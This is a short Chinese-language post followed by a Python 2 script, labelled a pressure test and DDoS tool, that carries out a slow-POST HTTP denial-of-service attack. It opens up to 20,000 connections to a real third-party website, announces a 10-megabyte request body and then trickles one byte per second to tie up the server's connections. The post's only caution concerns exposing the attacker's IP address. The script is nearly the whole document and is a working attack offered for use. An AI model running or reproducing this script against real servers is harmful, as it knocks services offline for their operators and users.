基于http的ddos，主要就是靠占用连接数达到攻击目标，但也非常危险，会暴露攻击者的ip,慎用

#!/usr/bin/env python

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="www.baidu.com"

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf)

print "Send buf OK!,conn=%d\n"%i

socks.append(s)

except Exception,ex:

print "Could not connect to server or send error:%s"%ex

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f")

#print "send OK!"

except Exception,ex:

print "Send Exception:%s\n"%ex

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()